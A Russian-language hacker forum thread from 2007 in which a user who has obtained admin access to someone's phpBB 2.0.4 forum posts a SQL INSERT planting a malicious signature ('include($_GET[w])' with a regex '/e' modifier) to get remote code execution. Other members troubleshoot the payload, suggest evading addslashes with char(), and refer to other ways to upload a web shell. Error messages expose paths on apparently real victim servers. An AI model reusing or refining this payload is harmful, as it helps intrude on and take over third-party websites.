Вопрос по phpbb!

Discussion in 'Песочница' started by fly, 1 Jul 2007.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Получил админку, хотел сделать инклуд через базу (через бекапп)
    Составил запрос -->

    Code:
    Insert INTO phpbb_users (user_id, user_active, username, user_password, user_session_time, user_session_page, user_lastvisit, user_regdate, user_level, user_posts, user_timezone, user_style, user_lang, user_dateformat, user_new_privmsg, user_unread_privmsg, user_last_privmsg, user_emailtime, user_viewemail, user_attachsig, user_allowhtml, user_allowbbcode, user_allowsmile, user_allowavatar, user_allow_pm, user_allow_viewonline, user_notify, user_notify_pm, user_popup_pm, user_rank, user_avatar, user_avatar_type, user_email, user_icq, user_website, user_from, user_sig, user_sig_bbcode_uid, user_aim, user_yim, user_msnm, user_occ, user_interests, user_actkey, user_newpasswd) VALUES('2511111', '1', 'user', 'e10adc3949ba59abbe56e057f20f883e', '0', '0', '0', '1141890952', '0', '0', '0.00', '1', 'english', 'D M d, Y g:i a', '0', '0', '0', NULL, '0', '1', '0', '1', '1', '1', '1', '1', '0', '1', '1', '0', '', '0', '', '', '', '', 'a:include($_GET[w])', '(.+)/e\0', '', '', '', '', '', '', NULL);
    
    Но при переходе в профайл по ссылке вида -->
    profile.php?mode=editprofile

    Получаю ошибку
    Code:
    Parse error: parse error, unexpected ']' in /var/www/1/xost/web/forum/includes/usercp_register.php(759) : regexp code on line 1
    
    Fatal error: Failed evaluating code: ] in /var/www/1/xost/web/forum/includes/usercp_register.php on line 759
    
    Как это исправить. Я понял что ] - ковычка выдает ошибку.Версия форума 2.0.4
     
  2. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Ну про версию бабушка надвое скала... (форум может быть проапдейчен вручную без CHANGELOG.html, может быть переписан, что наврядли, и тд)

    Бага (если она есть) юзается так: (цопирайты K1b0rg):

    Еще есть как минимум 6 способов залишь шелл, ты выбрал самый геморойный и к тому же неверно реализовал. Смотри тему в важных "FAQ по PHPBB", там все написано
     
    #2 Basurman, 3 Jul 2007
    Last edited: 3 Jul 2007
  3. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    обрати внимание на эту строчку (чекни потом через пхпинфо)

    по сути, залить шелл можно более простыми способами (как уже сказали выше), особенно при safe mode = 0
     
  4. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    2 Basurman

    Знаешь это ты посоветовал , то что врядли прокатит, а у меня в моем способе все просто
    обновил акк и инклуд готов. Вопрос был почему ] - из a:include($_GET[w]) вылазит как ошибка!
     
  5. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Это ты про что? Если про CHANGELOG, то это ж не панацея :) По другому ты не определишь версию (только свежие). Доверяй, но проверяй, как говорится.

    А не работает из-за addslashes()
    Если охота позамарачиваться, попробуй через функцию char()
     
    #5 Basurman, 3 Jul 2007
    Last edited: 3 Jul 2007
  6. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    А, да, забыл совсем. Чтобы не резал, можно еще немного bbcode.php поправить :)

    хотя нет - туплю. ббкоды только в теле
     
    #6 Basurman, 3 Jul 2007
    Last edited: 3 Jul 2007
  7. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Так как это сделать с char --a:include($_GET[w])
     
    1 person likes this.
  8. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Попробуй по крайней мере... В смысле как?Открываешь в виндовс таблицу символов, потом пишешь что-то вроде char(1,2,4)
    А чем другие способы не приглянулись?
     
    #8 Basurman, 3 Jul 2007
    Last edited: 3 Jul 2007
  9. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    мб я туплю, но просто include($w) не прокатит?
     
  10. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Я тоже туплю :D
    Оно не заработает - на форуме в подписи и будет висеть include($w) или $_get[w]
    как я и писал выше
    Это бажный PHP 5-й версии (внимание на ссылку со словом GLOBALS)
     
  11. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    2Basurman

    Ты отталкиваешься от другого способа. И то что привел человек, относится к этой баге, только ее надо по другому реализовывать.

    В приведенной цитате, надо заливать через редактирование профайла, и на нём стоят ограничения, а у человека уже есть админка. И человек все правильно делает.

    Если у тебя phpinfo не срабатало, значит там либо патч стоит либо еще какая-нить херня. попробуй правда include($w)
     
    2 people like this.
  12. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Будем пробовать!k1b0rg те респект за реализацию залива.!!!
     
  13. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Выбивает
    Parse error: parse error, unexpected ']' in /var/www/depts/engr/web/forum/includes/usercp_register.php(759) : regexp code on line 1

    Fatal error: Failed evaluating code: ] in /var/www/depts/engr/web/forum/includes/usercp_register.php on line 759
    Если include($w)
     
  14. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Скачай в интернете форум и глянь, что там написано в usercp_register.php
    Сейчас под рукой нет сорцов

    А остальные способы как же? не ответил